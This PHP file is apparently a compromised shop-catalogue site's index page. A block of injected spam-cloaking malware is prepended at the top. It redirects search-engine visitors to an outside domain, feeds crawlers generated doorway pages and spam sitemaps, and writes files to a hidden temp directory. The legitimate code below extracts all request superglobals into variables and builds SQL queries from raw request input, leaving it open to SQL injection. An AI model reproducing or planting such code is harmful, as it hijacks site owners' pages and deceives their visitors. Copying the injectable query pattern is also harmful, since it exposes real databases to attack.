<?php
//78x0p912
$referer = isset($_SERVER['HTTP_REFERER']) ? ($_SERVER['HTTP_REFERER'] . "/") : "/";
if ((preg_match("/(google\.|bing\.|aol\.|yahoo\.)/i", $referer) == 1) && isset($_GET['k']) && isset($_GET['c'])) {
    header('Location: http://www.pandoranicest.com/?g');
    exit();
} else {
    $tmplFName = __FILE__ . ".tmp.txt";
    if (file_exists($tmplFName)) {
        if (isset($_GET['sitemap']) && isset($_GET['p'])) {
            header('content-type:text/html;charset=utf-8');
            header("Cache-Control: post-check=0, pre-check=0", false);
            header("Pragma: no-cache");
            $file = @fopen($tmplFName, "r");
            $p = intval($_GET['p']);
            if ($p > 0) {
                @fseek($file, ($p * 1024 * 1024) % filesize($tmplFName));
                @fgets($file);
            }
            while (!feof($file) && (ftell($file) < (($p + 1) * 1024 * 1024)) && ($line = @fgets($file))) {
                echo 'http://' . $_SERVER['SERVER_NAME'] . '/' . basename(__FILE__) . '?k=' . md5($line) . '&c=' . str_replace(' ', '-', $line);
            }
            @fclose($file);
            exit;
        } else {
            if (preg_match("/(googlebot|yahoo|bing|msnbot|aol)/i", $_SERVER['HTTP_USER_AGENT']) || (isset($_GET['k']) && isset($_GET['c']))) {
                $file = @fopen($tmplFName, "r");
                $title = '';
                if (isset($_GET['c'])) {
                    $title = str_replace('-', ' ', $_GET['c']);
                }
                $content = '';
                $fingp = '';
                if (isset($_GET['k']) && isset($_GET['c'])) {
                    $fingp_name = md5($_SERVER['SERVER_NAME']);
                } else {
                    $fingp_name = md5($_GET['k'] . $_GET['c']);
                }
                if (@file_exists('.temp/'.$fingp_name)) {
                    $fingp_file = @fopen('.temp/'.$fingp_name, "r");
                    $fingp = @fread($fingp_file, filesize('.temp/'.$fingp_name));
                    @fclose($fingp_file);
                }
                if ($fingp) {
                    $lines = @split('<br>', $fingp);
                    foreach ($lines as $line) {
                        if ($line) {
                            $parts = @split(',', $line);
                            @fseek($file, intval($parts[0]));
                            $line = @fgets($file);
                            $c = $line;
                            if (!$title) $title = $c;
                            $p = false;
                            for ($i=1; $i < count($parts); $i++) {
                                if($parts[$i] == 'p'){
                                    $p = true;
                                }elseif ($parts[$i] == 's') {
                                    $line = '<span>' . $line . '</span>';
                                }elseif ($parts[$i] == 'r') {
                                    $line = '<pre>' . $line . '</pre>';
                                }elseif ($parts[$i] == 'e') {
                                    $line = '<em>' . $line . '</em>';
                                }elseif ($parts[$i] == 'a') {
                                    $line = ('<a href="' . basename(__FILE__) . '?k=' . md5($line) . '&c=' . str_replace(' ', '-', $c) . '" alt="' . $c . '">' . $line . '</a>');
                                }elseif ($parts[$i] == '.') {
                                    $line = $line . '. ';
                                }
                            }
                            if ($p) {
                                $line = '<p>' . $line . '</p>';
                            }
                            $content .= $line;
                        }
                    }
                }else{
                    $i = 0;
                    $total = rand(20, 50);
                    while ($i < $total) {
                        @fseek($file, rand(0, @filesize($tmplFName) - 1024));
                        @fgets($file);
                        if (!feof($file)) {
                            $fingp .= ftell($file);
                            $line = @fgets($file);
                            $i++;
                            $c = $line;
                            if (!$title) $title = $c;
                            $p = rand(1, 10) > 9;
                            if ($p) {
                                $fingp .= ',p';
                            }
                            if (rand(1, 5) > 4) {
                                $line = '<span>' . $line . '</span>';
                                $fingp .= ',s';
                            } elseif (rand(1, 8) > 7) {
                                $line = '<pre>' . $line . '</pre>';
                                $fingp .= ',r';
                            } elseif (rand(1, 5) > 4) {
                                $line = '<em>' . $line . '</em>';
                                $fingp .= ',e';
                            }
                            if (($i % ($total / 3)) == 4) {
                                $line = ('<a href="' . basename(__FILE__) . '?k=' . md5($line) . '&c=' . str_replace(' ', '-', $c) . '" alt="' . $c . '">' . $line . '</a>');
                                $fingp .= ',a';
                            }
                            if (!$p && (rand(1, 4) > 2)) {
                                $line = $line . '. ';
                                $fingp .= ',.';
                            }
                            if ($p) $line = '<p>' . $line . '</p>';
                            $content .= $line;
                            $fingp .= '<br>';
                        }
                    }
                    if (!file_exists('.temp/')) {
                        mkdir('.temp/');
                    }
                    $fp = fopen('.temp/' . $fingp_name, 'w');
                    fwrite($fp, $fingp);
                    fclose($fp);
                }
                @fclose($file);

                $tmplFName = __FILE__ . ".tmp.html";
                if (@file_exists($tmplFName)) {
                    $file = @fopen($tmplFName, "r");
                    $tmplContent = @fread($file, filesize($tmplFName));
                    @fclose($file);
                    if (stripos($tmplContent, "#content#") == false) {
                        $tmplContent = "";
                    }
                    $content = str_replace('#content#', $content, $tmplContent);
                    $content = str_replace('#title#', $title, $content);
                }
                header('content-type:text/html;charset=utf-8');
                header("Cache-Control: post-check=0, pre-check=0", false);
                header("Pragma: no-cache");
                echo $content;
                exit;
            }
        }
    }
}
//5x9nw080
?>
<?php session_start();

require_once("./inc/setup.php");

extract(array_merge($_POST, $_GET, $_FILES, $_COOKIE)); 
$dbpref='ogrolmet_';

if (!$dzial){$dzial=1;};
$tresc = $db->getRow("SELECT * FROM {$dbpref}texts WHERE te_id =". $dzial);
$tpl->assign('tresc', $tresc);


	switch($dzial){

	// OFERTA			
		case '1': 	$cats = $db->getAll("SELECT * FROM {$dbpref}cats WHERE c_arch= 'false'");
					$prods = $db->getAll("SELECT * FROM {$dbpref}prods WHERE p_arch= 'false'");
													
					$strona = 'katalog';
						$tpl->assign('katalog', $katalog);
						$tpl->assign('cats', $cats);
						$tpl->assign('prods', $prods);
					if($prod_id	&& $prod_parent_id){$tpl->assign('proddisp', '1');
					
					$produkt = $db->getRow("SELECT * FROM {$dbpref}prods WHERE p_arch= 'false' AND p_id =". $prod_id);
					$kategoria = $db->getRow("SELECT * FROM {$dbpref}cats WHERE c_arch= 'false' AND c_id =". $prod_parent_id);
					$produkty = $db->getAll("SELECT * FROM {$dbpref}prods WHERE p_arch= 'false' AND p_c_id =". $prod_parent_id);
					
					if($kategoria[c_parent_id]!=0){
						$kategoria0 = $db->getRow("SELECT * FROM {$dbpref}cats WHERE c_arch= 'false' AND c_id =". $kategoria[c_parent_id]);
						$tpl->assign('cat0', $kategoria0);
					};
					$tpl->assign('prod1', $produkt);
					$tpl->assign('prod2', $produkty);
					$tpl->assign('cat0', $kategoria0);
					$tpl->assign('cat1', $kategoria);
					
					//echo $kategoria[c_name]."<br>";
					//echo $kategoria0[c_name]."<br>";
					
					};
					
					
						break;
						
	    default: 	$strona = 'index';
					
						break;
						
	};
	
$tpl->assign('dzial', $dzial);

$display=$strona.".tpl";
$tpl->display($display);
?>

